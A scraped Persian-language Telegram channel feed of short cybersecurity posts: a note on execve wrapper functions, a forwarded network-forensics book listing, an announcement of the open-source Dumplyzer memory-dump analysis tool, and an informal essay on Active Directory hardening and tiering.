و در آخر، کنار execve چندین تابع کتابخانه‌ای هم وجود داره که همگی wrapper هستن و execve رو صدا می‌زنن execl، execlp، execle، execv و execvp که خب یه سری تفاوت دارن و زیاد توشون دیپ نمیشیم .

https://t.me/ViperNull
Forwarded from CyberSecurity Shield
w_wile923.pdf
6.2 MB
#کتاب
Advance Network Forensics
A Cyber-Behavioral Science Approach
از انتشارات Wiley
Forwarded from ThreatStrix (Emad Abedini)
🧠 ابزار Dumplyzer | پلتفرم تحلیل Memory Dump

با Dumplyzer بدون درگیر شدن با ابزارهای مختلف، می‌تونید خیلی راحت و سریع فایل‌های Memory Dump رو به صورت GUI تحلیل کنید.

🎯 بخشی از قابلیت‌ها:
- استخراج دیتای Processها، Command Line، Module/DLL، Handle و Process Tree
- بررسی جزئیات یک Process بر اساس PID، شامل Parent/Child، Module، Network، Handle و Memory Region
- استخراج IOC شامل IP، Domain، URL، Mutex، Registry، Path و Hash
- استخراج و بررسی Network Connectionها و Network Artifactها
- امکان بازسازی PCAP
- ایجاد Timeline از Artifactهای استخراج‌ شده و فیلتر بر اساس بازه زمانی
- امکان Index گذاری و جست‌وجوی سریع در Artifactهای استخراجی
- امکان بازسازی فایل‌های PE
- سه حالت تحلیل Quick Triage، Complete Analysis و Custom
- امکان YARA Scan، به همراه امکان اضافه کردن Ruleهای سفارشی
- بررسی Capability فایل‌های PE بازسازی‌ شده
- استخراج Artifactهای قابل Carving شامل Email، Phone، MAC Address، HTTP Log، AES Key و موارد مشابه
- شناسایی و Deobfuscation خودکار Stringها
- اجرای Pluginهای Volatility به شکل بسیار ساده
- امکان Correlation بین Artifactها
- ایجاد گزارش در فرمت‌های HTML، JSON و Excel
- کاملا Offline و Local

📦 فایل Installer ویندوزی رو می‌تونید از Repository زیر دانلود کنید یا در صورت نیاز، پروژه رو از سورس Build کنید.

🔗 GitHub:
https://github.com/EmadAbedini/Dumplyzer

🔗 Telegram Channel:
https://t.me/ThreatStrix

اگه در زمینه DFIR، Threat Hunting، Malware Analysis و در کل Memory Forensics کار می‌کنید، این ابزار می‌تونه فرایند تحلیل Memory Dump رو تا حد زیادی سریع‌تر و ساده‌تر کنه.

امیدوارم مفید باشه ❤️
❤3
Forwarded from Virtualization Channel ((️️*Prometto️*))
در مورد اون دو تا poll ی که گذاشتم حتما یه سری توضیحات میدم که اینکه خوبه رو ۲۰۲۵ بریم‌یا نه خوبه برای هارنینگ ادمین دامین رو تغییر بدیم یا نه و یا تبعاتی برامون داره یا نه (تجربی میگم)

قبلا هم اشاره کردم‌امنیت اکتیو دایرکتوری و هاردنینگش اگر به خوبی انجام نشه شما رو دچار چالش میکنه (ولی اگر محیطت کوچیکه خیلی خودتو نمیخواد درگیر چالش های هاردنینگ اکتیو بکنی چون بیشتر برات دست و پا گیر میشن تا یه کار حرفه ای بکنی مثل این میمونه رو پراید چراغ بنز بندازی که البته اینم به این معنی نیست به امنیتش اهمیت ندی ولی میتونی در سطح قابل قبولی امن کنی و کاملا هم بستگی به حجم و وسعت و نوع شبکه ت داره ، گاهی اوقات بحث سر اون نصرفیدنه س )

یعنی خیلیا گاهی وقتا فکر میکنن با دو تا پورت عوض کردن و یا بستن یه سری چیزا میتونن امنیت ویندوز و اکتیو رو تامین کنن

واقعیش امنیت اکتیو دایرکتوری درون یه ویندوز یه چیزه ، امنیت خود اکتیو دایرکتوری درون همون ویندوز یه چیز دیگه س

گاهی اوقات برداشتن یه تیک به صورت سهوی باعث یه سری اتفاقات می افته

مثلا تو بعضی اموزشها موقع امن کردن ویندوز به این اشاره نمیکنن این ویندوزی که ما داریم برای اکتیو دایرکتوری در نظر میگیریم باید چه شکلی باشه تا سایت ها یا ادیشنال دامین ها replication شون broke نشه

حتما در مورد Tier های اکتیو دایرکتوری مطالعه کنید توی کتاب های امنیتی مایکروسافت و کتاب های مثل mastring active directoryانتشارات packt publishing هست که میاد در مورد Tier 0 , Tier 1 , Tier 2 صحبت میکنه

البته من همیشه و همیشه معتقدم این کتاب ها صرف نهایی نیستن و ادمین باید خودش یکم‌خلاقیت به خرج بده یه چیزای به داستان اضافه کنه

مثلا دیدین میگن کنار غذا یه سالاد و مخلفاتی باشه اینم مثل اونه میتونه تو هر لایه یه سری چیزارو پیاده سازی کنی که به لایه بالاتر نرسه

ایشالله سر یه تایم مینویسم
❤3